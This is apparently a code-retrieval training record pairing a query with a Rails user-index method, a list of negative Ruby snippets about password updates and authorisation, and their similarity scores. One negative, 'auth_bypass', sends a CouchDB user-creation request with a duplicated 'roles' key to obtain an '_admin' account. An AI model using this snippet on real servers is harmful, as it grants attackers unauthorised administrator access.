"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906",
"0.7334906"
] |
0.0
|
-1
|
verify :method => :put, :only => [ :enable, :disable, :update_password ]
|
def index
query, conditions = [], []
unless params[:show_expired]
query << "expires_at IS NULL OR expires_at >= ?"
conditions << Time.now.utc
end
unless params[:key_word].blank?
query << %w(login email first_name last_name).collect { |f| "lower(#{f}) LIKE lower(?)" }.join(" OR ")
4.times { conditions << "%#{params[:key_word]}%" }
end
unless params[:group_id].to_i == 0
query << "#{UserGroupMembership.table_name}.group_id = ?"
conditions << params[:group_id]
end
query.collect! { |q| "(#{q})"}
conditions = conditions.unshift(query.join(" AND "))
per_page = params[:per_page] || 10
@users = User.paginate(:page => params[:page], :per_page => per_page, :include => :user_group_memberships, :conditions => conditions, :order => "first_name, last_name, email")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def password_needed?\n resource.authentications.empty? \\\n ? resource.update_with_password(params[resource_name])\\\n : resource.update_attributes(params[resource_name])\n end",
"def test_change_password_unsuccessful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"newer-password\"\n }\n\n user_id = 34\n expected = 1001\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_change_password_successful\n data = {\n current_password: \"1234567890\",\n password: \"new-password\",\n password_confirmation: \"new-password\"\n }\n\n user_id = 34\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s+'/password')\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def put?\r\nHTTP_METHOD_LOOKUP[request_method] == :put\r\nend",
"def update_without_password(params, *options); end",
"def verify_password(*)\n false\n end",
"def change_password\n @user = User.shod(params[:id])\n authorize! :update, @user\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update_resource(resource, params)\n # if params['email'] != current_user.email || params['password'].present?\n # resource.update_with_password(params)\n # else\n resource.update_without_password(params.except('password', 'password_confirmation', 'current_password'))\n # end\n end",
"def update_resource(resource, params)\n if params[\"password\"]&.present? or params[\"email\"]&.present?\n return super\n else\n resource.update_without_password(params.except(\"current_password\"))\n end\n end",
"def http_method_modifies_resource?\n ['PUT','POST','PATCH'].include?(method.to_s.upcase)\n end",
"def allow_params_authentication!; end",
"def update_with_password(params, *options); end",
"def auth_methods; end",
"def update_with_password(params, *options)\n if authentications.present?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def test_should_update_membership\n login_as(:john)\n put :update, :id => 1, :membership => { }\n assert_response :redirect\n end",
"def allowed_auth_methods; end",
"def configure_update_params\n allow_params(:account_update)\n end",
"def update!(**args)\n @enabled = args[:enabled] if args.key?(:enabled)\n @password_required = args[:password_required] if args.key?(:password_required)\n end",
"def update\n head :unauthorized\n end",
"def authorize\n render json: { status: 200, msg: 'You are not allowed to do this update' } unless current_user && current_user.can_modify_user?(params[:id])\n end",
"def verify\n\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params[\"password\"]&.present?\n # Allows user to update registration information without password.\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def should_validate_password?\n updating_password || new_record?\n end",
"def update\n @member = Member.find(params[:id])\n respond_to do |format|\n m = params[:member]\n if if m[:password].blank? ### IF block returning bool\n @member.update_without_password(m)\n else\n @member.update_attributes(m)\n sign_in @member, :bypass => true\n true\n end ### end IF block returning bool to outer if.\n format.html { redirect_to @member, notice: 'Member was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n authorize! :update, @user\n end",
"def update!(**args)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @sign_in_required = args[:sign_in_required] if args.key?(:sign_in_required)\n end",
"def verify\n end",
"def should_validate_password?\n \tupdating_password || new_record?\n end",
"def change_password!(opts = {})\n password!(opts.merge(:verb => :put))\n end",
"def test_change_password\n response=@root_key_api.change_password(\"test-rb@precog.com\",\"password\",@account_id, \"xyzzy\")\n response=@root_key_api.change_password(\"test-rb@precog.com\",\"xyzzy\",@account_id, \"password\")\n end",
"def update_request?(http_method = nil)\n http_method = http_method.downcase.to_sym if http_method.is_a?(String)\n %i[put post patch].include?(http_method || @verb)\n end",
"def test_change_password_blocks_with_invalid_data_on_POST_when_logged_in\n set_user\n\n patches = [ \n [ :current_password => nil], [ :current_password => 'not the password' ],\n [ :password => nil], [ :password => 'not the password' ],\n [ :password_confirmation => nil], [ :password_confirmation => 'not the password' ]\n ]\n \n patches.each do |patch|\n key, value = patch\n \n invalid_data = @valid_data.dup\n \n post :change_password, invalid_data\n \n assert_response :success\n assert_template 'change_password'\n\n user = User.find(@zeus_user.id)\n assert user.password_equals?(@valid_data[:password])\n end\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params['password']&.present?\n\n # Allows user to update registration information without password.\n resource.update_without_password(params.except('current_password'))\n end",
"def non_get_methods\n [:post, :put, :delete]\n end",
"def assert_validations_fail attrs\n put :update, :user => attrs\n assert_response :success\n assert @controller.current_user.errors.any?, \"Validation expected to fail\"\n end",
"def verify\n end",
"def update!(**args)\n @verification_method = args[:verification_method] if args.key?(:verification_method)\n @token = args[:token] if args.key?(:token)\n end",
"def edit_password; end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def should_validate_password?\n updating_password || new_record?\n end",
"def put!\n request! :put\n end",
"def valid_for_params_auth?; end",
"def patch?\r\nHTTP_METHOD_LOOKUP[request_method] == :patch\r\nend",
"def change_password(opts = {})\n password(opts.merge(:verb => :put))\n end",
"def verify()\n # TODO\n end",
"def verify!\n self.update_attribute(:verified,\"true\")\n end",
"def check_params(mode = false)\n endpoint_info[:check_params] = mode\n end",
"def verify\r\n self.verified = true\r\n end",
"def update_without_password(params, *options)\n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update_resource(resource, params)\n # abort params.inspect\n resource.update_without_password(params)\n end",
"def edit_password\n @user = User.find_by_id(current_user.id)\n authorize! :edit_password, User, :id => current_user.id\n end",
"def verify!\n self.update_attribute(:status, VERIFIED)\n end",
"def update\n update_method = user_update_params[:current_password] ? 'update_with_password' : 'update_without_password'\n\n if @user.method(update_method).call(user_update_params)\n sign_out_current_user\n render json: @user, status: :ok\n else\n render json: format_errors(@user.errors), status: :unprocessable_entity\n end\n end",
"def validate_profile_edit_post(params)\n params[\"username\"] and params[\"password\"] and params[\"id\"]\n end",
"def authorized_for_update? \n return !self.is_default?\n end",
"def can_edit_email?\n encrypted_password.present? || oauth?\n end",
"def require_password?(action)\n action == \"new\" ? true : false\n end",
"def update\n respond_to do |format|\n if @user.password_changed?\n sign_in(@user, :bypass => true)\n else\n if @user.update(user_params)\n format.html { redirect_to \"/\", notice: t('success_update') }\n format.json { render :show, status: :ok, location: \"/\" }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\nend",
"def verify_manager_password\n #verify managers password before allowing update \n if !current_employee.valid_password?(params[:manager][:password])\n @employee = Employee.find(params[:id])\n flash.now[:danger] = \"Incorrect manager password\"\n render \"edit\"\n end\n \n end",
"def patch\n req.patch?\n end",
"def update\n if @user.update_without_password(update_params)\n render_update_success @user\n else\n render_failure @user\n end\n end",
"def authenticate\n self.get && true\n end",
"def password_required?; false; end",
"def needs_update_password? user, params\n user.email != params[:user][:email] ||\n params[:user][:password].present? ||\n params[:user][:password_confirmation].present?\n end",
"def user_verification; end",
"def verify_password_reset\n return HESResponder({:allow => allow_password_reset()})\n end",
"def update\n @user = User.find(current_user)\n validation = (@user.valid_password?(params[:user][:old_password]) && params[:user][:password]) || (@user.encrypted_password.empty? && params[:user][:password])\n params[:user].delete(\"password\") unless (@user.valid_password?(params[:user][:old_password]) && params[:user][:password]) || (@user.encrypted_password.empty? && params[:user][:password])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n sign_in @user, :bypass => true\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update_resource(resource, params)\n resource.update_without_password(params)\n end",
"def update!(**args)\n @has_valid_creds = args[:has_valid_creds] if args.key?(:has_valid_creds)\n end",
"def password\n if @user.update_with_password(password_params)\n render_update_success @user\n else\n render_failure @user\n end\n end",
"def allow_users_to_change_passwords?\n @policy.allow_users_to_change_password\n end",
"def authentications_to_validate\n [ENDPOINT_ROLE]\n end",
"def change_password\r\n \r\n end",
"def update_resource(resource, params)\n return super if params[\"password\"]&.present?\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def auth_bypass\r\n username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)\r\n password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)\r\n @auth = basic_auth(username, password)\r\n\r\n res = send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, \"/_users/org.couchdb.user:#{username}\"),\r\n 'method' => 'PUT',\r\n 'ctype' => 'application/json',\r\n 'data' => %({\"type\": \"user\",\"name\": \"#{username}\",\"roles\": [\"_admin\"],\"roles\": [],\"password\": \"#{password}\"})\r\n )\r\n\r\n if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params.except(:current_password), *options)\n else\n update_with_password_pass(params)\n end\n end",
"def update\n @user = User.find(params[:id])\n if params[:user][:password].blank?\n params[:user].delete(:password)\n end\n \n respond_to do |format|\n if @user.update_attributes(user_params)\n sign_in @user, :bypass => true #should be if password is updated\n format.html { render :action => 'show', :notice => 'Din profil blev opdateret og vi har gemt dine ændringer' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def call\n validate_equality\n user = context.user\n return if user.update(password: context.user_password_params[:password])\n\n context.fail!(message: user.errors.full_messages)\n end",
"def password_required?; end",
"def update_without_password(params, *options)\n params.delete(:password) if params[:password].blank?\n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def update_users_password_by_e_mail(args = {}) \n put(\"/users.json/backoffice/email/#{args[:email]}/password/#{args[:password]}\", args)\nend",
"def public_forgot_password\n end",
"def rm_update path, data, msg\n\n re = rm_request path, data, 'PUT'\n puts re.body\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n return true\n\nend",
"def checkAdminPassword\n params.permit(:id_administrateur, :motDePasse_administrateur)\n check = AdministrateurService.instance.verifierMotDePasseAdmin(params[:id], params[:motDePasse_administrateur])\n (check) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\n end",
"def can_edit_password?\n encrypted_password.present?\n end",
"def update\n if user_params[:password].blank?\n user_params.delete(:password)\n user_params.delete(:password_confirmation)\n end\n\n if needs_password?(current_user, user_params)\n save = current_user.update(user_params)\n else\n save = current_user.update_without_password(user_params)\n end\n\n respond_to do |format|\n if save\n format.html { redirect_to current_user.url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @admin_operator\n send_pass_reset_instructions = false\n if (admin_operator_params.include?(:email) && admin_operator_params[:email] != @admin_operator.email)\n @admin_operator.password = Devise.friendly_token.first(8)\n send_pass_reset_instructions = true\n end\n\n respond_to do |format|\n if @admin_operator.update(admin_operator_params)\n Admin::Operator.find(params[:id]).send_reset_password_instructions if send_pass_reset_instructions\n format.html { redirect_to @admin_operator, notice: 'Operator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_operator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_verify\n # Start out unavailabl\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def available?(req)\n true\n end\n end\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def authorized?(req)\n true\n end\n end\n assert_nothing_raised do\n @obj.verify(@request)\n end\n end",
"def password_updation\n user_id = params[:user_id]\n password = params[:password]\n if password.present?\n @password = User.find(params[:user_id]).update(password: params[:password])\n render json: @password, status: :ok\n else\n render json: { error: 'password can not be nil' }, status: :unauthorized\n end \n end",
"def verify_rights\n access_allowed?(params.slice(:controller, :action)) || permission_denied\n end"
] |
[
"0.64985526",
"0.64874226",
"0.6343194",
"0.6342289",
"0.6246252",
"0.6240209",
"0.6216999",
"0.6196389",
"0.61618775",
"0.6156174",
"0.6149351",
"0.6110989",
"0.6067343",
"0.60439074",
"0.60166764",
"0.60154086",
"0.60154086",
"0.601519",
"0.5997419",
"0.5976615",
"0.59685546",
"0.5950354",
"0.5950014",
"0.5905007",
"0.59034884",
"0.58956534",
"0.58844024",
"0.5868647",
"0.5867243",
"0.58511275",
"0.58482796",
"0.5846563",
"0.5844642",
"0.58427054",
"0.5839586",
"0.581999",
"0.58183944",
"0.5815352",
"0.5814829",
"0.58023614",
"0.57876813",
"0.57876813",
"0.57790154",
"0.577736",
"0.5777241",
"0.5774899",
"0.5769435",
"0.5766406",
"0.5758877",
"0.5757051",
"0.57567394",
"0.57553464",
"0.574539",
"0.5738729",
"0.57235116",
"0.57125175",
"0.5708783",
"0.570789",
"0.5706956",
"0.5706846",
"0.5702143",
"0.5694935",
"0.56897354",
"0.56872845",
"0.56854624",
"0.56853276",
"0.56798464",
"0.5677989",
"0.56760585",
"0.56695056",
"0.5668966",
"0.5668966",
"0.5668966",
"0.5668966",
"0.5668966",
"0.5668966",
"0.5668966",
"0.5668966",
"0.56496185",
"0.5641308",
"0.56383055",
"0.5632557",
"0.5619658",
"0.5615917",
"0.5612291",
"0.5606752",
"0.5604663",
"0.55976826",
"0.5596052",
"0.55934006",
"0.5592311",
"0.5592311",
"0.5591413",
"0.5580844",
"0.55801475",
"0.5569148",
"0.5567891",
"0.5565393",
"0.5560902",
"0.5560151",
"0.5560047"
] |
0.0
|
-1
|
filter group enabled attributes
|
def group_params
params.permit(:name, :description, :kind, :privacy_level, :image, :banner, :request_root_branch, :latitude, :longitude, counselor_ids: [], meetings_attributes: [:_destroy, :id, :title, :hour, :day], new_participant_ids: [], new_admin_ids: [], delete_participant_ids: [], hashtag_ids: [])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clean_attributes\n return attributes if group.nil? || !group.empty?\n\n filtered_attributes = attributes.dup\n filtered_attributes.delete(:group)\n end",
"def attributes\n @enabled\n end",
"def group_admins_enabled\n @attributes[:group_admins_enabled]\n end",
"def attributes_from_group\n group_attributes = {}\n self.ldap_attribute_map.each do |ldap_attr, attr|\n group_attributes[ldap_attr] = attr.is_a?(Proc) ? attr.call(self.group) : self.group[attr]\n end\n group_attributes\n end",
"def filtered_by_group(group)\n filtered_by_association(\"group\", group)\n end",
"def filter_by attributes\n\n all.select { |item| matches? item, attributes }\n\n end",
"def input_filter_groups\n return @input_filter_groups\n end",
"def group\n attribute_prop(7)\n end",
"def html_attributes(attribute_filter= :enabled)\n if @html_attributes.nil?\n ha_ids = self.section_piece_param.html_attribute_ids.split(',').collect{|i|i.to_i}\n @html_attributes= HtmlAttribute.find_by_ids(ha_ids)\n end\n\n case attribute_filter\n when :enabled\n return_html_attributes = @html_attributes.select{|ha| !disabled_html_attribute_ids.include?(ha.id)}\n when :disabled\n return_html_attributes = @html_attributes.select{|ha| disabled_html_attribute_ids.include?(ha.id)}\n else\n return_html_attributes = @html_attributes\n end\n\n end",
"def enabled_metrics\n @group.enabled_metrics\n end",
"def filter_by_group(group)\n get_venues_for_filtering if @venues_to_filter.empty?\n @venues_by_group = []\n @venues_to_filter.each do |venue|\n venue['attributes']['groups'].each do |groups|\n if groups[\"name\"].downcase == group.downcase\n groups[\"items\"].each do |item|\n if item[\"displayValue\"].split(\" \").first != \"No\"\n @venues_by_group << venue[\"name\"]\n end\n end\n end\n end\n end\n @venues_by_group\n end",
"def input_filter_groups=(value)\n @input_filter_groups = value\n end",
"def filtered_group(group, provider)\n selected_keys = [\"id\"]\n case provider.to_sym\n when :yammer\n selected_keys << \"full_name\"\n when :microsoft_graph\n selected_keys << \"displayName\"\n end\n filtered_attributes = group.to_h.select { |k,v| selected_keys.include? k }\n group.class.new(filtered_attributes)\n end",
"def groups\n @parent.groups(@filter)\n end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def filter_fields\n\t \n\t \tremove_attribute(:version)\n\t \tremove_attribute(:op_success)\n\t \tattributes\n\n\t \t\n\t end",
"def category_filter_groups\n return @category_filter_groups\n end",
"def filter_by_group(group)\n self.get_venues_for_search\n @venues_for_search.each do |venue|\n venue['attributes']['groups'].each do |groups|\n if groups[\"name\"].downcase == group.downcase\n groups[\"items\"].each do |item|\n if item[\"displayValue\"].split(\" \").first != \"No\"\n @venues_by_group << venue[\"name\"]\n end\n end\n end\n end \n end\n @venues_by_group\n end",
"def enabled\n @attributes[:enabled]\n end",
"def add_group_config_to_solr solr_parameters\n solr_parameters[:group] = false if search_state.filter(grouped_key_for_results).any?\n end",
"def autofilter\n true\n end",
"def folder_permissions_groups_only\n @attributes[:folder_permissions_groups_only]\n end",
"def user_group_project_visibilities\n visibilities = Set.new\n User.current.groups.each do |g|\n g.custom_field_value(group_conditional_custom_field).each do |gcfv|\n visibilities.add gcfv.to_s\n end\n end\n visibilities\n end",
"def enabled\n select(&:enabled?)\n end",
"def valid_filter_attributes\n resource_class.attribute_names\n end",
"def enabledonly()\n merge(gaenabledonly: 'true')\n end",
"def valid_options\n selected_options.grep_v(/\\Agroup_/)\n end",
"def filter(username)\n clas = Net::LDAP::Filter.eq('objectClass', @config[:object_class])\n uid = Net::LDAP::Filter.eq(@config[:user_attr], username)\n filter = clas & uid\n if group = @config[:groupdn]\n memberOf = Net::LDAP::Filter.eq('memberOf', group)\n isMemberOf = Net::LDAP::Filter.eq('isMemberOf', group)\n filter = filter & (memberOf | isMemberOf)\n end\n filter\n end",
"def filter_data\n @data.map do |currency|\n currency.select { |attribute,_|\n selected_attributes.include? attribute.to_s\n }\n end\n end",
"def set_attr_filter(hash)\n src = [ \"def self.format_attr(a, flag)\" ]\n src << \"case a.key\"\n hash.each do |key, val|\n src << %Q[ when \"#{key}\" ; format_attr_default(Attr.new(:#{val}, a.value), flag)]\n end\n src << \"else; format_attr_default(a, flag)\"\n src << \"end\"\n src << \"end\"\n src << \"\"\n #puts src\n\n eval src.join(\"\\n\")\n rescue SctiptError, NameError\n puts src\n end",
"def advanced_filters_provided?\n true\n end",
"def category_filter_groups=(value)\n @category_filter_groups = value\n end",
"def global_attributes\n @root_group.attributes\n end",
"def enabled_all?; end",
"def group_items\n @group_items ||= Product.includes(:pictures)\n .where(group: group.presence || '_ZZZZ_', active: true, hidden: false)\n .order(:option_sort, :option_title)\n end",
"def active_group_loan_memberships\n self.group_loan_memberships.where(:is_active => true )\n end",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def autofilter\r\n\t\tfalse\r\n\tend",
"def filter\n super\n end",
"def filterable?; @filterable; end",
"def set_attributes(attrs)\n if attrs.has_key?(\"filters\")\n attrs = attrs.merge(attrs[\"filters\"])\n end\n super(attrs)\n end",
"def search_options_for(filter:, attributes:)\n {}.tap do |opts|\n group_base = APP_CONFIG[\"ldap\"][\"group_base\"]\n opts[:base] = group_base if group_base.present?\n opts[:filter] = Net::LDAP::Filter.construct(filter)\n opts[:attributes] = attributes\n end\n end",
"def requested_groups\n super - Array(force_exclude_groups)\n end",
"def or_filters\n read_attribute('or_filters') || {}\n end",
"def apply_filter\n end",
"def group_member_attribute\n super\n end",
"def available_selectable_object_attribute(business_object_code=nil)\n object_attributes =[]\n if business_object_code\n object_attributes = Irm::ObjectAttribute.selectable_column.query_by_status_code(\"ENABLED\").multilingual.where(:business_object_code=>business_object_code)\n end\n object_attributes.collect{|i|[i.attribute_name,i.attribute_name,{:attribute_name=>i.attribute_name}]}\n end",
"def scaffold_filter_attributes(action, attributes)\n allowed_attributes = scaffold_attributes(action).collect{|x| x.to_s}\n attributes.reject{|k,v| !allowed_attributes.include?(k.to_s.split('(')[0])}\n end",
"def group?\n proprieties[:group]\n end",
"def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end",
"def filters; end",
"def filters; end",
"def search_constrains\n {group: @group}\n end",
"def grouped_by_access_feature!\n groups = {'audio_described_performance' => [], 'captioned_performance' => [], 'signed_performance' => [], 'touch_tour' => [], 'relaxed_performance' => [], 'talk_back' => []}\n\n @instances.each do |instance|\n instance_types = instance.meta_attributes.select{|attr_key, attr_value| groups.keys.include?(attr_key) && attr_value==\"true\"}.keys\n\n if instance_types.any?\n instance_types.each do |type|\n groups[type].push(instance)\n end\n end\n end\n\n groups.each do |type, instances|\n groups[type] = slice_instances_by_date(instances.reverse)\n end\n\n groups\n end",
"def filtered_attributes\n # Run the read permission check\n allow_and_deny_fields(:read).then do |allow, deny|\n\n result = nil\n\n if allow && allow != true && allow.size > 0\n # always keep id\n allow << :id\n\n # Only keep fields in the allow list\n result = @attributes.select { |key| allow.include?(key) }\n elsif deny == true\n # Only keep id\n # TODO: Should this be a full reject?\n result = @attributes.reject { |key| key != :id }\n elsif deny && deny.size > 0\n # Reject any in the deny list\n result = @attributes.reject { |key| deny.include?(key) }\n else\n result = @attributes\n end\n\n # Deeply filter any nested models\n result.then do |res|\n keys = []\n values = []\n res.each do |key, value|\n if value.is_a?(Model)\n value = value.filtered_attributes\n end\n keys << key\n values << value\n end\n\n Promise.when(*values).then do |values|\n keys.zip(values).to_h\n end\n end\n end\n end",
"def filter\n end",
"def attribute_filter?(filter)\n scope.has_attribute? filter\n end",
"def groups_where_member\n self.groups-self.groups_where_admin_and_wrapper\n end",
"def only\n attributes.fetch(:only)\n end",
"def showable_attributes\n return attributes if permitted_to?(WriteAllPrivilege)\n attributes.reject do |k,v|\n !allowed?(:read, k, true)\n end\n end",
"def add_filter\n @filter = true \n end",
"def filters\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def filter?(attributes)\n return attributes.keys.all?{|key| filter_keyvalue?(key, attributes[key])}\n end",
"def filter?(attributes)\n return attributes.keys.all?{|key| filter_keyvalue?(key, attributes[key])}\n end",
"def group_admin\n @attributes[:group_admin]\n end",
"def extjs_filterable_options\n read_inheritable_attribute(:extjs_filterable_options)\n end",
"def conditions_for_collection\n return [ 'urls.group_id IS NULL' ] if current_user.nil?\n return [] if current_user.has_role?(:admin)\n groups = current_user.groups\n if (groups.size > 0)\n return [ '(urls.group_id IN (?) OR urls.group_id IS NULL)', groups.map!{|g| g.is_a?(Group) ? g.id : g} ]\n else\n return [ 'urls.group_id IS NULL' ]\n end\n end",
"def filters\n # Call model column on self (metadata since element in array is a string, not a variable hence we use send) <=> self.send(profile) == true\n %w[sight_seeing_adventurer art_lover serial_shopper nature_lover food_addict sport_lover history_passionate tech_fan relaxed city_wanderer].select! {|profile| send(profile) == true }\n end",
"def global_filter; end",
"def require_group_x\n end",
"def filter_options(attr_class_option_ids)\n sql = %{\n SELECT DISTINCT CASE WHEN attributable_type=:product THEN\n attributable_id ELSE product_id END AS p_id\n FROM product_attributes pa\n JOIN attribute_options ao ON ao.id=pa.value_id\n LEFT JOIN product_search_products psp\n ON psp.search_product_id=attributable_id\n AND pa.attributable_type=:search_product\n WHERE attributable_type IN (:product, :search_product)\n AND value_type=:attribute_options\n AND ao.attribute_class_option_id IN (:attr_class_option_ids)\n }\n query = sanitize_sql_array [sql,\n {\n product: SitescanCommon::Product,\n search_product: SitescanCommon::SearchProduct,\n attribute_options: SitescanCommon::AttributeOption,\n attr_class_option_ids: attr_class_option_ids\n }]\n connection.select_values query\n end",
"def filter_text\n attributes.fetch(:filterText)\n end",
"def attributes\n attrs = sort_members(@context.attributes).find_all{|a| @options.show_all || a.visibility == :public || a.visibility == :protected}\n attrs.collect{|a| {:name=>a.name, :visibility=>a.visibility, :rw=>a.rw, :description=>markup(a.comment, true)}}\n end",
"def allowedonly()\n merge(gaallowedonly: 'true')\n end",
"def filter; end",
"def filter; end",
"def filter; end",
"def filtered_abuses\n [AbuseType::OTHER]\n end",
"def add_group_config_to_solr solr_parameters, user_parameters\n if user_parameters[:f] and user_parameters[:f][grouped_key_for_results]\n solr_parameters[:group] = false\n end\n end",
"def visit_group(attribute, preprocess = false)\n if preprocess\n name = attribute.name\n header = attribute.header\n keys = attribute.tuple_keys\n\n others = header.preprocessed\n\n compose do |ops|\n ops << t(:group, name, keys)\n ops << t(:map_array, t(:map_value, name, t(:filter_empty)))\n ops << others.map { |attr|\n t(:map_array, t(:map_value, name, visit(attr, true)))\n }\n end\n else\n visit_array(attribute)\n end\n end",
"def disabled_all?; end",
"def group_ids\n @attributes[:group_ids]\n end",
"def group_ids\n @attributes[:group_ids]\n end",
"def group_ids\n @attributes[:group_ids]\n end",
"def _filtered_attributes\n return accessible_attributes.to_a if accessible_attributes.present?\n\n return self.new.attributes.keys - protected_attributes.to_a\n end",
"def gen_array_attribute_filters(object, attributes)\n attributes.map { |filter_name| gen_object_filter(object, filter_name, filter_name) }\n end",
"def extra_attributes_to_filter\n # default value if not set\n return ['password'] unless @options[:filter_attributes]\n # parse option value\n if @options[:filter_attributes].kind_of? Array\n attrs = @options[:filter_attributes]\n elsif @options[:filter_attributes].kind_of? String\n attrs = @options[:filter_attributes].split(',').collect { |col| col.strip }\n else\n $LOG.error(\"Can't figure out attribute list from #{@options[:filter_attributes].inspect}. This must be an Array of column names or a comma-separated list.\")\n attrs = []\n end\n attrs\n end",
"def attrs_authoritative\n @authority = :attributes\n self\n end",
"def provision_group_inclusion\n @attributes[:provision_group_inclusion]\n end",
"def filtered_attributes(keys,scope)\n case scope\n when :new\n %i( id date catalogs catalog_definitions treatments complete just_created )\n when :existing\n keys\n else\n keys - %i( catalog_definitions )\n end\n end",
"def filter_lists(attr_class_option_ids)\n sql = %{\n SELECT attributable_id\n FROM product_attributes pa\n JOIN attribute_lists al ON al.id=pa.value_id AND pa.value_type=:attribute_lists\n JOIN attribute_class_options_attribute_lists oal ON oal.attribute_list_id=al.id\n WHERE attributable_type=:product AND value_type=:attribute_lists\n AND oal.attribute_class_option_id IN (:attr_class_option_ids)\n GROUP BY attributable_id\n HAVING COUNT(attributable_id)=:count\n }\n query = sanitize_sql_array [sql,\n {\n product: SitescanCommon::Product.to_s,\n attribute_lists: SitescanCommon::AttributeList.to_s,\n attr_class_option_ids: attr_class_option_ids,\n count: attr_class_option_ids.size\n }]\n connection.select_values query\n end",
"def needed_attributes\n selected_attr_trackers.collect { |ready_or_needed| ready_or_needed.to_s.match /(.*)_needed$/ ; $1&.to_sym }.compact\n end",
"def filter_group\n group_key = params[:group]\n @group = Group.find_by_identifier(group_key)\n if not @group\n redirect_to( :action => 'index', :group => Group.root.identifier )\n return false\n end\n \n @target = @group\n end",
"def i_groups; end",
"def options\n opts = super\n if @group\n opts[\"g#@group\"] = true\n end\n opts\n end",
"def filter(options={})\n super\n end",
